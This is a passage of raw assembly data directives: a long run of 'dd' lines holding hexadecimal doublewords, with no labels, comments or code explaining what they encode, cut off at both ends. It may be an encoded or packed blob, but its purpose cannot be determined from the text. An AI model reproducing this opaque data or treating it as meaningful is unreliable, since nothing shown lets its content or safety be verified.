7FA0C7D9h, 733EC4h, 9902493Bh, 646E863Dh dd 7B798900h, 0D0B23F0Bh, 0C52928A5h, 0EFB400E4h, 0FE868523h dd 693924CFh, 0C0CD009Fh, 0A3EB0516h, 0F35300BBh, 14526F51h dd 0F61CFFD2h, 18CE2EFEh, 42405F56h, 508883C5h, 0DFB900ECh dd 48A61ADBh, 2D03A994h, 6B6C39B2h, 0B7E1D8C9h, 0E4B04Bh dd 0A75CD797h, 7933FDD8h, 80206B3Bh, 0BFF4CF2Eh, 3D2BEB95h dd 8D00F3C1h, 60FCC2E3h, 6B005B82h, 0ABD6A9AAh, 0EF623Bh dd 7C174C59h, 0A83206AFh, 127F0D1Fh, 0DC877DDCh, 1750AD9Fh dd 6302B63h, 6FB11173h, 7E0058C4h, 9F671275h, 0ECA416Dh dd 0A22E9305h, 9DE7001Fh, 0BE630F72h, 0A1A86E07h, 0E2B064C7h dd 7CF2Bh, 1CFA1965h, 839AC4DFh, 2072EB24h, 80D53109h dd 772C96FCh, 854F3C0Bh, 0CF24BA80h, 37DA47F0h, 43A1AB00h dd 6633CB55h, 5F540014h, 0F3736E8Eh, 5B3B562Ch, 0D9C10132h dd 68494C77h, 17E13420h, 201BF058h, 0B745F514h, 2697EE05h dd 0A0D014ECh, 15F3C6Bh, 0D6A61D3Fh, 0E49470FFh, 2C980DDCh dd 26A8B23Bh, 0D025B495h, 24FE0Fh, 0A3F6D47Bh, 38B7EDC3h dd 1AEAEF01h, 0A42E6747h, 0FF4840DEh, 0A0AD01D5h, 64E0144h dd 0A5B0745Ah, 2FDF6700h, 751361CEh, 0E1F50FF6h, 8540F215h dd 1EA16D1Bh, 52554200h, 0F6F83FEh, 6ED20030h, 0A874DA06h dd 0B3131462h, 0DC045E50h, 0B4801113h, 70297Ah, 3BED72AFh dd 83D97BD8h, 0B16B1C00h, 3088E495h, 0C2770ED4h, 2B25D62h dd 52929038h, 64236CE0h, 0CC8B6F00h, 5C7368D7h, 0DD8200C5h dd 0C76DD0FFh, 374CB7F1h, 0CC0A0718h, 0AB23ECE2h, 987B8BA4h dd 1243C993h, 97465E1h, 0A30ED314h, 0CB6A4240h, 0AC0F62EBh dd 61363C0Ch, 0D9DCA99Ch, 0B48D4080h, 0A10F46C7h, 0E1C61205h dd 0BFC1AC47h, 17DC50D5h, 165F021Dh, 71237B92h, 0DD691840h dd 4049F200h, 0E4E28C34h, 0B2C7078Eh, 0E028F69Ch, 0F8C33FB3h dd 135FCD00h, 77BCCE19h, 95D600B7h, 0FEF7EA1Dh, 0D9018722h dd 0D7DC91CFh, 0B9005152h, 0AD02078Bh, 33D63429h, 7D5BE0D9h dd 0EB5C0226h, 3AC2D709h, 9E9AC4C0h, 0C6E82F54h, 31CD0C00h dd 825A03C8h, 0A8940195h, 0D4E23F71h, 40C03406h, 0A36D1802h dd 402ED72Dh, 610A01F0h, 1366F26Bh, 0CCA03094h, 0F635D300h dd 73598076h, 2EF53D6Eh, 0BC9F4D8Bh, 0B9E1EC00h, 69008D55h dd 947561Dh, 16F6AEE3h, 1D4FBDF8h, 0F7B50019h, 0C339F2ABh dd 878D6200h, 367F845Ah, 0FEB82Dh, 1A9E2A51h, 23EE7957h dd 0FCB5A503h, 88FB31B3h, 1603DCF2h, 77EF87Bh, 67DBBF67h dd 9E32F2BEh, 0D42BAEC1h, 700F0409h, 0A13CDCCEh, 1FA7C7Dh dd 0C0EA0CE4h, 597C8F0h, 343F6F44h, 0D59680B4h, 0DDBFD280h dd 0E0EE07FBh, 0B094D762h, 13645144h, 0F8B37800h, 0AA89062Ch dd 61EAC4h, 9435147Dh, 0CB79E712h, 8F0BD890h, 2AE1CEE3h dd 60020ECh, 43F14941h, 16B200CDh, 0EDB9350Dh, 2612518Eh dd 901DF352h, 0B653DC0h, 3E91D4h, 0C7F475B4h, 8D1FD189h dd 61EB7700h, 0BE70C234h, 8466123Fh, 390A04C3h, 0C4E88007h dd 0D1F4DFFEh, 0D5995702h, 604669E8h, 2AC2CCh, 8A33F8E3h dd 0CED613ACh, 479AA000h, 755F143Dh, 3C7122Ch, 9600078h dd 0E4E99344h, 85AE8D1Ch, 0D46CEE40h, 3C955BFh, 0E5B95EFEh dd 32C82D18h, 9B00ECB8h, 0F68CD617h, 0C0DE8B3Ah, 30F9A872h dd 3212FCEEh, 60026DB3h, 5A66D159h, 7F2028Ch, 0CF68622Dh dd 0DC3520C9h, 86000D97h, 65A2D8F5h, 0A93C188h, 3AB35EE7h dd 0C0C49F94h, 0AA8C8B6h, 7F006E45h, 0DB6AD24Fh, 0F8039D04h dd 78F40088h, 0B370A61Bh, 68005C98h, 85773FEAh, 8FA455h dd 0BD2A328Dh, 4269168Eh, 1B56CC05h, 0A080D78Bh, 0A845554h dd 2E212663h, 0C8FF00F8h, 6677602Dh, 0C4C938h, 0D1B8D533h dd 77F172B0h, 0D05E005Fh, 36B2F8D9h, 0A51F20AEh, 0C0825021h dd 60473F9Ah, 3468E0h, 2D0CB24Bh, 8A785C95h, 0BFC78400h dd 0D70737ACh, 73260045h, 31C3A4EBh, 0F37CFE08h, 0B7153301h dd 6AC1EEF5h, 510BB240h, 0CFB019Fh, 91E075A9h, 649DD42Eh dd 0A60AAA00h, 0A2AC59E6h, 0A7A0162Ah, 9804EB93h, 0A0F09A01h dd 864F022Dh, 1FDD78D5h, 7BCC1040h, 1D370090h, 10B0A1B4h dd 5B8D4Eh, 0A7F521AEh, 28659267h, 6368F8EFh, 8A12F101h dd 886FEA1Eh, 0A458DEh, 0AB77F5EDh, 7DBB890h, 0D0B6B72Fh dd 87632CFCh, 51B07F4h, 36EEA001h, 0D1E5AA56h, 5CF840A5h dd 7F031572h, 86AD3578h, 734F046h, 6C9827h, 3DC41773h dd 0D4B88B2Ch, 0A5391D72h, 140E0F58h, 85E80060h, 2406941h dd 0E4CF91C7h, 6FC0D213h, 0CE04D43Ah, 9551A19Dh, 3E708A0h dd 0F3F10348h, 92C8AE76h, 3500B797h, 23554EFAh, 0B0B16581h dd 0C8C5A0AAh, 9771125Dh, 86088028h, 393B61E8h, 0E07A8FD1h dd 406CE007h, 1E3E8482h, 40F091B1h, 421B0499h, 0CD16C6DCh dd 0A8004FBCh, 2A911302h, 935C00B5h, 0EF0ED2CFh, 0B107406Eh dd 0E4A4F872h, 699C4800h, 0B2A50430h, 0E0D62BBDh, 0BFED300h dd 2FD87954h, 1F50CEB0h, 5C004EEEh, 1B932AEh, 90B51CA1h dd 0BABE000Ch, 7A252942h, 8A70A4CAh, 0C20087FEh, 0F3365F17h dd 9976029Bh, 6743F400h, 0C9231600h, 0E5C7CAE1h, 5027441Eh dd 82F791C0h, 0EFE4D7h, 0EA5AE06Bh, 71156F68h, 9A1938h dd 4D0E0F9Dh, 855E17h, 282A0BA9h, 0F6FEFC06h, 0ACF3230Ah dd 0BA0190DAh, 0FBF9BD38h, 2F62B1EBh, 5AFF80C4h, 0C0380332h dd 0D0921F08h, 6B5390C0h, 909CCCB8h, 43FF9D00h, 1C82E20h dd 2B850599h, 246946BFh, 0E025509Ch, 81988313h, 2580A78Ch dd 3C18CE76h, 419FE674h, 636007B1h, 777BE04Dh, 71059F6Ah dd 66892383h, 460F40C0h, 4DB2071Ch, 9306E3B4h, 0B5C0F9A5h dd 0A00AEBFh, 4EDABAA2h, 0C04172h, 0A6E68AAAh, 92D5646Bh dd 0A4D8EE02h, 0F8F8D6F6h, 65830788h, 0F18C8BA5h, 0CAAF32C2h dd 6B005870h, 11BA7677h, 1E15517h, 612294E2h, 0E884B395h dd 0EFF46DAAh, 33C74200h dd 0EAC4A1ABh, 90F87455h, 0D51A0C64h, 93E98FB6h, 3E7C0701h dd 2E786286h, 23856883h, 0A6E9EC97h, 8E312044h, 7BE91400h dd 5E4AB9Eh, 0BFC41D40h, 0ED4C0C54h, 0C5006228h, 0E987AC1Ch dd 248C3827h, 681247h, 69601BD9h, 3A3DF290h, 42B21EBAh dd 5ABB3740h, 0E8E5E4FBh, 8F17014Ch, 0D3597407h, 37C07E83h dd 2FDF61h, 11722423h, 5235CC58h, 8DA9C201h, 0A0B6513Dh dd 94256C8h, 81BAB7AFh, 6D4CF8A1h, 391EC81Ch, 880E250Eh dd 581703D6h, 0BC73D04Fh, 1D4B00F3h, 0DAB8E9B9h, 0DC4C37E0h dd 1910197h, 0A8C6401Ah, 9EA4824h, 4517A198h, 4C50F880h dd 689C84F3h, 0F85B1Ch, 7A3BE7E1h, 0FE5E5834h, 865C3B89h dd 0D16F8180h, 90A810D2h, 0DD3F5FE4h, 1EDE80ACh, 0F8288B61h dd 6C9B5862h, 16E71A00h, 0D8D910F9h, 7968A000h, 0DDE99654h dd 0B7710099h, 29AD460Dh, 0B907221Dh, 1E8EC0BCh, 0ABEC09E0h dd 28DB00F9h, 0CD8B5089h, 2E03580Bh, 2372269h, 0E108953h dd 8A83FCh, 18B85C01h, 0C9A3C6CAh, 0E3D92600h, 6DEECE28h dd 2DF4006Fh, 64F6E21Eh, 7905011Ah, 0C1F5263Ch, 0CB625A80h dd 3812000Dh, 0B9D31C51h, 53E2425h, 6111017Ah, 48B2EF58h dd 4A19CCh, 0BEC0AAB4h, 0A20B3195h, 0E7C9F800h, 822BDAEBh dd 60360789h, 900F235Ah, 0ADC3F678h, 3972BE00h, 920AFDF3h dd 75769Bh, 10A0464Eh, 85C2145Ch, 23D4D200h, 55439EA3h dd 1AF40396h, 863BB32Ch, 0A28872CBh, 0DC008401h, 30700582h dd 0B6204Dh, 27E64E1Eh, 0BC72FD7Eh, 281F3A75h, 220016ABh dd 43F87C2Ah, 707A001Ah, 0D519CE46h, 6E003F55h, 8A9ACAA8h dd 13B3E294h, 6F70C1h, 0D922595h, 0C307B9D2h, 4BD3A085h dd 0F31AF631h, 235DEB40h, 0CDEE0058h, 0CCEF9E0Eh, 17FE57AFh dd 0AC0035EEh, 442DBC3Eh, 0FE276A60h, 2BA0C00Ah, 8CE9DE9Ah dd 0ECE76F04h, 0B9076B51h, 0F4AA00EEh, 0CC0B829Ch, 86D6E219h dd 118041h, 0D04D8725h, 5FEEBC07h, 1DE7A514h, 640076D4h dd 4D5DDA9Ch, 0ECAD7EBh, 0EC5CB137h, 20064067h, 38807FFh dd 4F1CEE00h, 0D8E689BEh, 179F000Fh, 949ECF3Eh, 6DF4F7B8h dd 898E8F00h, 574FF4BCh, 1006009Ch, 13A7DE1Eh, 71742208h dd 832D991Eh, 0D13AA240h, 248C68D3h, 300DDC9h, 994467E9h dd 0CD80D0D0h, 8E02ECEAh, 1D7D2D64h, 0A04E6047h, 7160E4Fh dd 17200889h, 13A8700Bh, 88C27400h, 0FF03181Dh, 0C46E122Eh dd 0E4000010h, 47322714h, 2D91300h, 49EDE7B1h, 0E2D1006Dh dd 5BBE85D5h, 0EA00EBDFh, 55C26ACAh, 1D4C6291h, 0C080C5B8h dd 0B5CC220Eh, 7103CED8h, 1DC3A0DCh, 8A7CE867h, 2660003Fh dd 0C2C0032Bh, 371F7344h, 81C0625Fh, 0CF8A7AABh, 859B00A9h dd 0E3FB50DEh, 5D0072D7h, 0CA976FC9h, 295136h, 5B84D369h dd 0ECE919D4h, 6A262100h, 0C9F94C49h, 0BE77EE3h, 34DE2AC1h dd 6BB36480h, 480FEB0Ch, 4080CD82h, 0AEBB9FB4h, 1FB100FAh dd 0BD2C1CEDh, 0A000CA4Ch, 3E797CC9h, 0EC6574EFh, 84455083h dd 75FB00BEh, 31C96BFAh, 18B8A584h, 2E8DD000h, 29B4A312h dd 45F0036h, 0A966397Bh, 0B502A244h, 0F9171475h, 312840D8h dd 0AFD1EB28h, 0E6DD4220h, 0B2C701C1h, 7FA880CCh, 0B79840BAh dd 8900445Fh, 2DBF2AFAh, 0D3929Eh, 74842894h, 4511DC22h dd 604B9A3Fh, 413E9C20h, 0B7F10EC5h, 924FDDh, 5BB64CBEh dd 610F716Ah, 0E0742F78h, 151C1AE7h, 0AE470273h, 0D3623CA2h dd 0F871E8B6h, 0A6B5CB02h, 20E5BBD8h, 0B4451CCFh, 4E682100h dd 0EAC804D7h, 0FEDB03ECh, 693D8886h, 84C023FAh, 7090C3C1h dd 0FB07E3F2h, 0A18309D0h, 8C7431C0h, 14B27B39h, 0E85C8605h dd 29F50108h, 33E4E09h, 0F8B23863h, 0E803E9h, 50A539C1h dd 0E14E5413h, 0ADF0965Bh, 58724F8h, 0C3AE3DBCh, 7992001Eh dd 0FBACEA0Dh, 5BD8650Eh, 95805DA8h, 111CE7C4h, 62C500CBh dd 264CD056h, 0CF00466Dh, 0BB6FF779h, 988B7D88h, 7DEA7253h dd 9BE701F3h, 7AAEC711h, 0B7B8CBB4h, 0E1000A3Ah, 0EACF6A2Ch dd 0D4C147h, 0DF699079h, 3B513C8h, 4DC57700h, 0D6F52563h dd 21960791h, 506D234Ch, 52942D50h, 0F00086F8h, 845C7453h dd 58975814h, 92438A2h, 0E798009Eh, 955B06A5h, 1C750B00h dd 0D334E89Fh, 5F6E0703h, 1C35D60Ch, 0B001C010h, 1FC2DD9Ah dd 61F04799h, 0C4E40751h, 6034823Dh, 0BFF0DEC5h, 0E5505E00h dd 9F18D603h, 0D3E00004h, 0EE16E81Dh, 0D7913E2h, 0A2143609h dd 0C380821Eh, 0B8C963DDh, 1E215325h, 800C8F03h, 0CC2C9624h dd 5D73A8F7h, 6D11D100h, 0B9202289h, 0B6F9006Fh, 0BCC7E157h dd 190EAA6Bh, 0C03EB5D1h, 3B0A449Ah, 0B6962C6Ah, 65A00303h dd 30F887C3h, 0E8609932h, 806E1D78h, 1F5600AFh, 6BC768D7h dd 64F8C535h, 0C30FB603h, 3CC4CC98h, 11009E10h, 7EF3CD4Ah dd 7D00352Eh, 725DA021h, 233A31Ch, 0D5E0A461h, 30809B31h dd 866C293Ah, 21BE532Eh, 56114600h, 0A32DA0h, 0F3EA5E44h dd 2F402E5Ah, 0F29C40Eh, 203532h, 1310E5D2h, 5EB0766Dh dd 0EED2B044h, 0FAF42E00h, 88BCA7FFh, 0C3B203B5h, 7CEFD8D5h dd 0B08E3DA8h, 550037E2h, 610E4B56h, 392BC1FDh, 119D4301h dd 8B86C717h, 477D30E9h, 8F00597Bh, 0B6E78549h, 0E67281h dd 0E43D8717h, 12452546h, 0E5570095h, 1F8338h, 7BBB0A0Dh dd 0F527FDDAh, 86BAF300h, 61EC46A2h, 9CC950CAh, 3B7CD3h dd 60C09E36h, 31DA1737h, 7D6FD400h, 901A6EC3h, 0C20902F5h dd 0FF476750h, 0F9A9CE20h, 0F180548h, 0EF0D59ECh, 61E12700h dd 0CD8A0h, 66BDDD1Eh, 4D8F7ED1h, 0DC322F16h, 0EE0B510h dd 0A4782349h, 3300C6D4h, 0B7973218h, 0AEB6821Dh, 0F3670338h dd 0D84EEAD3h, 1A6B0DA3h, 401FE188h, 9E5C4C80h, 0F31D82DEh dd 0AE18F5D0h, 0FC3F19h, 53912A15h, 9E5BD95Eh, 2000C672h dd 0CA241E7Ch, 680DE9Ch, 825EC8CEh, 0FF0039ADh, 8EEFDC2Dh dd 0C3185h, 84E7B565h, 23E2C3D4h, 281B1C30h, 0A0EC4BCCh dd 3031084h, 3D419293h, 70F74425h, 0FB86CE90h, 3AD2C200h dd 1C340188h, 0D8203AD4h, 46002B4Ch, 91C2B59Eh, 0E5F9FC58h dd 791980F0h, 1CAEA753h, 0D080546Ch, 58B615B9h, 4901BCE3h dd 0C5BB5799h, 0F22187D9h, 0BCC0F41Ah, 1C3E48A0h, 801E7D18h dd 0D110DA32h, 7F00C6CEh, 169AE879h, 5CDB3Dh, 88AD4BEEh dd 1549A53Fh, 0AA640F03h, 0E819508Eh, 3BC9B5Dh, 21B7C2F1h dd 93A08CABh, 430E38F3h, 0C1DFC0D0h, 4917EF7Fh, 0B8F2088Dh dd 0D04E6020h, 0CDD71000h, 0D139D29Ah, 0F43B181Bh, 824D50FCh dd 0EDCAC800h, 992A9702h, 0F33907B7h, 4790AF9Bh, 0DA738098h dd 1A03EA59h, 12052D28h, 96083030h, 59C25E21h, 3889E400h dd 15160CBBh, 0B20E0AA1h, 37C71AC7h, 7F1C8328h, 6E9EA2B0h dd 92A4DC00h, 1DC28ED0h, 0A6F43EFFh, 4C935160h, 7D6194DDh dd 0EE1AFA20h, 0C6E1982h, 0CA00666Ah, 22EE9CEh, 98519EA4h dd 2080BBF5h, 5B76A713h, 0C416E5Ch, 8CD369Fh, 3521CF85h dd 0F6F47640h, 1C3E103Eh, 7898635Fh, 4792DBh, 41069131h dd 4098A4A9h, 7E32B58Fh, 8D0F4506h, 60085D84h, 224421ACh dd 901EA1B4h, 0BC41EE3Bh, 0DDD41B19h, 0C8E2B441h, 3245AC40h dd 0ED810195h, 54B41801h, 0D8A1E455h, 0BB2D7D1Ch, 0E269DFC0h dd 3CE0E79h, 75C91228h, 6087C0D6h, 0E7FEE306h, 0B2D86300h dd 0FC425BD5h, 1F79009Dh dd 1CD9984Eh, 0AF07B43Bh, 9BB6AC59h, 8F317F20h, 288C034Bh dd 300C3C7Ch, 0C6CCBED0h, 33023800h, 5359ACDFh, 5704A5D9h dd 48864E41h, 4963C8h, 475CFB01h, 83B32B73h, 587E8C1Dh dd 66698DC0h, 7B7D486Bh, 0E97BF05Ah, 3E8570F0h, 340E740Ch dd 8300B867h, 2C8D7516h, 7907637Bh, 17F5C82h, 0AD326040h dd 7B1A005Dh, 6C2E6973h, 72908348h, 0D38650Fh, 6FEE007Eh dd 0F07C214Eh, 584C0052h, 3CB2EBF0h, 63001A98h, 8E41535Ah dd 0EC5E449h, 0D68551EFh, 8FBF82A0h, 98004DF4h, 9224938Bh dd 0C43C8042h, 4289ED29h, 2F3B6D9h, 0EE2292BFh, 2129243Bh dd 0A312B488h, 883F0F10h, 58898405h, 9444F708h, 1434475h dd 83783284h, 1482FBA1h, 0DD2245BEh, 9CAB2282h, 3B64742Fh dd 50E2A05Ah, 44BE2819h, 95401399h, 0B95C000Dh, 0D7428A40h dd 180099E0h, 45D6FDE2h, 7E8F5EFh, 0DF043E6h, 28580F55h dd 8288E213h, 8E489A3h, 6F01449Fh, 0E8CD51C0h, 0D967D0h dd 38A2CB75h, 727CA9C3h, 791DC107h, 7BB0A09Eh, 0E6C49C1Bh dd 0BDE82885h, 86D50004h, 2C436B6Ah, 5005127h, 372225C9h dd 0E2F2480h, 0DBE5FC3Bh, 93400367h, 0AE9071A0h, 60F3D6Dh dd 40C97B70h, 6FFEB74Ah, 0DF19009Fh, 0B481905Ah, 0E73DE641h dd 2E0B0305h, 90754BE3h, 0CFA59BCh, 734EF0A4h, 63009A11h dd 0C5B23964h, 727BC8E1h, 0F74300EEh, 0CAE6B532h, 0E41DF836h dd 184065EDh, 0CE5B5AA2h, 3FF9FC16h, 0EB0096B0h, 0F87FC442h dd 1860DB06h, 0E7412988h, 9A840090h, 6C5D3009h, 15B0A977h dd 0B333EF00h, 0A2FB4310h, 939F1D4Ah, 0CD714028h, 0B450601h dd 0FF5E0900h, 0BB7E9850h, 5CAA3959h, 6BBDF880h, 17CC22FCh dd 0C2A0A9E6h, 3974BA1Ah, 0CF4A7B0Ch, 71B9961h, 384E221Fh dd 77A0EF8Ch, 9095BBFDh, 55C8DE00h, 46A08AD5h, 0CF5012BEh dd 331D0073h, 89AF75F2h, 88010600h, 0FC9E8062h, 6E8D03ABh dd 0F28C0E2Ch, 42E541E0h, 0B04FE200h, 0B41E1669h, 0AAC40050h dd 916ABE24h, 497F9928h, 98A81D09h, 4C7FE037h, 0D0D060C1h dd 0F9120CCCh, 53FA8900h, 7232FBC4h, 7941E863h, 0CEF4A6h dd 5E76B06Ch, 332A2981h, 157DAC00h, 63F7FF86h, 0CB81A0C8h dd 0A73500D0h, 0A236EDD7h, 73001465h, 7F9C050Fh, 0A0B7334Bh dd 3DC89B88h, 0AF240E28h, 7670F1Ah, 0F20025EBh, 0DC04293Ch dd 8D2A4500h, 0F6446BF2h, 487A3047h, 5F40A209h, 4DA1D700h dd 0BB6DFA58h, 7A7C7EAAh, 0DBD044Bh, 804EC2A7h, 0F7516B33h dd 823D9307h, 6A600C40h, 9184B747h, 0A63B0014h, 0A9827B90h dd 0CCB1AB00h, 8049935Fh, 1E240079h, 0E901B9F9h, 4E00781Ah dd 0A9B0FAF8h, 288BC388h, 0B0B99284h, 0E21738B8h, 3886B700h dd 0EA606F65h, 74D74A00h, 0A7D4CAA2h, 315C0F49h, 66C3CDB5h dd 4FB0B19Bh, 876054CBh, 555AF980h, 3CBF00E5h, 42EAF7DFh dd 0B21E5F91h, 0A7DC5D37h, 7708FE41h, 0DC406204h, 0EAE7E5F3h dd 0CB643FA0h, 83A42680h, 80600E1Fh, 79EDF603h, 849A71A6h dd 36795C0h, 0AD740391h, 61C15998h, 7FCACDA8h, 70FAFF0Fh dd 6E6680DBh, 0E2939DC4h, 8DC300DAh, 9A87A691h, 0C5740285h dd 63E90A00h, 27D9692Bh, 9809C03Ah, 2D3DA7F1h, 7B023C00h dd 8387F93h, 0B05B4E13h, 0AB03DE9Ch, 0BD7018E6h, 99ACD0D8h dd 0DF150F96h, 26007319h, 76FB2884h, 88A00503h, 0B7D0F2F5h dd 0FAE1FFF0h, 0D3120085h, 694BA343h, 0A003670h, 971D23ADh dd 7A25DAFh, 9DB1EACDh, 4137B04Bh, 0D078AE3h, 0F5890687h dd 43A582D0h, 1DA83FBEh, 9B6F8D00h, 9A863FCCh, 8B7BD814h dd 7A0E0F84h, 2060AE56h, 37ECD1FEh, 0CEE00092h, 0AA236B20h dd 68006119h, 2C6DA9C6h, 0E6D728CBh, 990F0EE2h, 7AE0F74Fh dd 0ABF33E82h, 0D9956600h, 0A28CC6CFh, 88F91FE0h, 876A409Dh dd 2E54C74Eh, 68ABAC00h, 988125C8h, 492A00CAh, 0F053AAB6h dd 511EFC30h, 8666432Ch, 0A2908C05h, 0C71DCC40h, 87FD9Bh dd 197E5383h, 97C8563Eh, 70D5FF00h, 0CDA1CFB8h, 0A0AA00B3h dd 0DAA4D1E5h, 0A6EEC5B9h, 0A3C4E80Fh, 453C4003h, 0A055707Dh dd 7EEF04h, 0E3DAC372h, 0BFCBFAE9h, 825FD2Ch, 4C57FC04h dd 179AB320h, 2F966709h, 4864009Ch, 12DA2C9h, 0A6B8CA39h dd 34168849h, 0F002E7Ch, 0CE4741CDh, 18B5BE4Bh, 3888B271h dd 1F068427h, 0B1D8C21Ch, 0DEEE0040h, 0A81E0A28h, 0F700B873h dd 77C8EC04h, 3C33Eh, 0DBB6CC88h, 575DBCFFh, 0CF75AB00h dd 48803B16h, 8D1604Eh, 52FA785h, 74AD5000h, 215A4C6Dh dd 38FD0094h, 15B1BAC5h, 990B2657h, 817016h, 5C2E89EFh dd 7F950328h, 3CD5C649h, 8F56E9B8h, 0D196AF07h, 0D3B05787h dd 0B2EA7Ch, 0B43C82ECh, 0B068D2EEh, 3906A49h, 0DFBB03E1h dd 0D4AC78F8h, 2F002309h, 8221BC70h, 0E71354Dh, 3CFD5E02h dd 6BCA2A1Ah, 0C992E830h, 28AB02DFh, 0CCD35A10h, 67FBA060h dd 5C310800h, 46519C48h, 47A900A0h, 4B9E36F8h, 0A47E7CE4h dd 5A526D03h, 0A3E95666h, 4409006Ah, 41B8FE20h, 0CB2CFF2Dh dd 0A024CD0Ch, 335F0180h, 0F6FD50A4h, 6BF60Fh, 49DF8217h dd 8CAE2892h, 0A508BB24h, 9E02FF07h, 142C4F60h, 0EC5D0336h dd 430C3066h, 21D316D8h, 0B1C3AC00h, 0CDF4D563h, 0D5B8E9h dd 6940E597h, 0B6BEEC5Bh, 8F33763Ah, 0A002CAE4h, 4FCCE943h dd 495E0B32h, 5C00DD54h, 1B0A1F50h, 0E0CB141Dh, 7DBE1340h dd 7522019Ch, 63ED0546h, 0CF3CAEh, 99186B90h, 1E5CC9BCh dd 0D7770468h, 0FEC1D539h, 0EBD4192Eh, 5E1800D4h, 0A078FBD3h dd 0BD600A17h, 0EDB2E709h, 0BF7100A7h, 899E2AEEh, 90A0D01Bh dd 1D09AE11h, 8B883Eh, 4466E168h, 8C3B3EBAh, 5CC302Ch dd 0C03A5D22h, 2E41773Ch, 634C8824h, 0F0B5BC00h, 989B926Bh dd 487F34h, 0E2449F82h, 404BCC86h, 83144D58h, 0C0E99D73h dd 39B3C284h, 30F5A522h, 4109931Fh, 0B500CFFFh, 0A36A03F4h dd 4C96682Bh, 9701B80Dh, 7CADA0CCh, 0C29ED0C8h, 631FA1EAh dd 2427923h, 803CC6E3h, 0BBD4ECE8h, 0CEFA3064h, 6804A3Ah dd 0CF000B73h, 30227D98h, 0ADA0F28h, 0B38DE293h, 0A7BB00B0h dd 8F1FEE47h, 611DB00h, 0B807E9E7h, 0BDD0076h, 8E3BBA4h dd 9B77122Dh, 723C175Ch, 0E28209C1h, 0E3D0F6BEh, 0CE1905B7h dd 5D14ADBh, 159E41B0h, 0AC1D40BEh, 3431C04Ch, 9E02C6Fh dd 37BC7D54h, 0E13AB601h, 0DC777336h, 1760C4h, 2BBF4226h dd 0EAA39C01h, 31896B31h, 2CC9F97Bh, 4484C28h, 807EB11Ch dd 28C9F2CBh, 300F6F1Fh, 0C0DBAFB8h, 76D2A19Eh, 0F8952E54h dd 0A4A1EE0h, 1F03193h, 1C7E3416h, 51180E2h, 5E924282h dd 0C1100035h, 0BE1FFCA9h, 3C002786h, 1C7BF18Ah, 0C34847h dd 2B58903Bh, 6B768237h, 0C04FF01h, 0CC0AFAE5h, 5EFDC30h dd 6AAA6626h, 84448039h, 500201C1h, 0AC6D90E8h, 0A0AD8291h dd 3430E01Ah, 73CD019Dh, 6839167Ch, 58B47055h, 9BD43D01h dd 0A3ABAE87h, 0E6C85021h, 45150B7Bh, 5000ECEBh, 2F1E7721h dd 639A3F00h, 3B10BFEDh, 373E0FD4h, 9C40A468h, 71C8515Dh dd 14EEB13Fh, 3E78873h, 0F0D17A0Ah, 6D110760h, 908991ADh dd 0A150E1AFh, 5D139B00h, 0E3C74B4Ah, 92CC0060h, 0BCD1077Fh dd 9E008E8Bh, 0AB630B1Fh, 158D1Dh, 0C1B3FE4Ch, 0F686112Bh dd 398FAF00h, 0B9D74158h, 9688004Dh, 0FDA96151h, 7A01AC95h dd 120C6C43h, 0BEE81D70h dd 0E61771F0h, 4EF448DFh, 0E583D001h, 41549831h, 0CC331583h dd 500AD94h, 41EC279Dh, 72D244D1h, 514500BCh, 0AEC55338h dd 0A300296Bh, 0FABBE1A0h, 1983E14h, 0C31B7FB8h, 80A4CE37h dd 56D8C160h, 75F5F8h, 4F9EBB3Dh, 0D694F1AFh, 0BE33F300h dd 7E74318h, 1D3C010Dh, 0D4D8E858h, 544EDCB2h, 1FBE900Bh dd 80408F64h, 9DA8CAC1h, 0E76F00DFh, 0BD8E28A3h, 0AE00A054h dd 9F77EEF7h, 0EA9BB4Fh, 10B26208h, 5DF41A80h, 880CF0DDh dd 1453CC2Fh, 0CF5C002Dh, 90F7BBA9h, 1E380684h, 440F8063h dd 4116C417h, 42E2E1h, 384AC2D2h, 0AF732CADh, 0ABF82306h dd 58606693h, 980BEA7Dh, 9780D514h, 2E28F35Ah, 160BE72h dd 8F797848h, 6F840073h, 0B5D0E3D4h, 0DA000B82h, 0DB4E4FBEh dd 0C3BF1h, 0F7CE61Dh, 412BCFACh, 0F0F5BF28h, 71D46D00h dd 0A3B768B9h, 0A0CD77A9h, 0EB95EAh, 4DE7F75Fh, 2D529037h dd 16CE650Bh, 786D0036h, 3C73C984h, 9A87F3F0h, 0E0AE6ABFh dd 0EC562A08h, 0D3433000h, 0A89F6F76h, 0F646248Fh, 0DC93001Ch dd 0A7C32840h, 0C47A3AECh, 76172B01h, 80955F64h, 0D2CAC000h dd 96CE3001h, 0F61A7CF1h, 9BE7ECh, 0D06C548Dh, 2F47CCB6h dd 4E6F9DA0h, 0D4DA0400h, 0A2F1A086h, 40AF00E6h, 20B1AAEEh dd 157D6EE7h, 294DF4EDh, 2C004F72h, 9C7C700Eh, 9752F1h dd 7EDD46FCh, 0C3CED7B7h, 4EBAFB00h, 0F38F86ADh, 0DC0D00A2h dd 9663FF6Dh, 0D0C08E23h, 0EB8B1D80h, 0EF5000DDh, 0FBFF1BD2h dd 3700D6DAh, 0C11E9785h, 3DCE7F1h, 0E333A78Ah, 0F2F0212Ah dd 0EF282458h, 0E2E8A0D9h, 1EDD4F01h, 45663516h, 24174DFCh dd 0DB790Ch, 9103CF88h, 741FBD41h, 1B802CF0h, 0DD8EADFAh dd 590700FBh, 7E058FD3h, 0E3302EEBh, 32272889h, 0DFA100EFh dd 68CE9F02h, 2C1F3453h, 7F001591h, 0C152CFAAh, 0D0D05469h dd 504D12A0h, 0E0C00F7h, 6E924E01h, 5FB2D0Fh, 3F8D563h dd 0B6A5467Ah, 61E00090h, 0CD6E8BB1h, 33005469h, 47CEBE35h dd 1C530774h, 40E541DAh, 9838AE4Bh, 5F00801Eh, 0AD2D7524h dd 8F59F1h, 0F0725814h, 0D73F022Eh, 66E7B206h, 0F600675h dd 9DC2C610h, 7783AACEh, 0CB8004DDh, 0FC071DE7h, 747C3BFFh dd 7E24E20h, 980C0267h, 0F6422986h, 0DA6ED180h, 8C00BFD3h dd 7526D968h, 209C24h, 3598AA7Eh, 6507971h, 96D05C00h dd 0E26A6DC2h, 1C2405D5h, 4077C4A5h, 0D7F4C388h, 39E40FECh dd 0CF1FA31Eh, 534EC4C5h, 6D5C8C40h, 0A4289h, 0CDF8A877h dd 9D94D7AFh, 6C8890A3h, 2604A4C7h, 0EEF07BE8h, 2C9B8CC0h dd 35600062h, 877E5EA2h, 7B011AB4h, 0C50412F1h, 0DB7F1Eh dd 3F5B3880h, 1A245556h, 46E0B701h, 0F730657Eh, 32699A40h dd 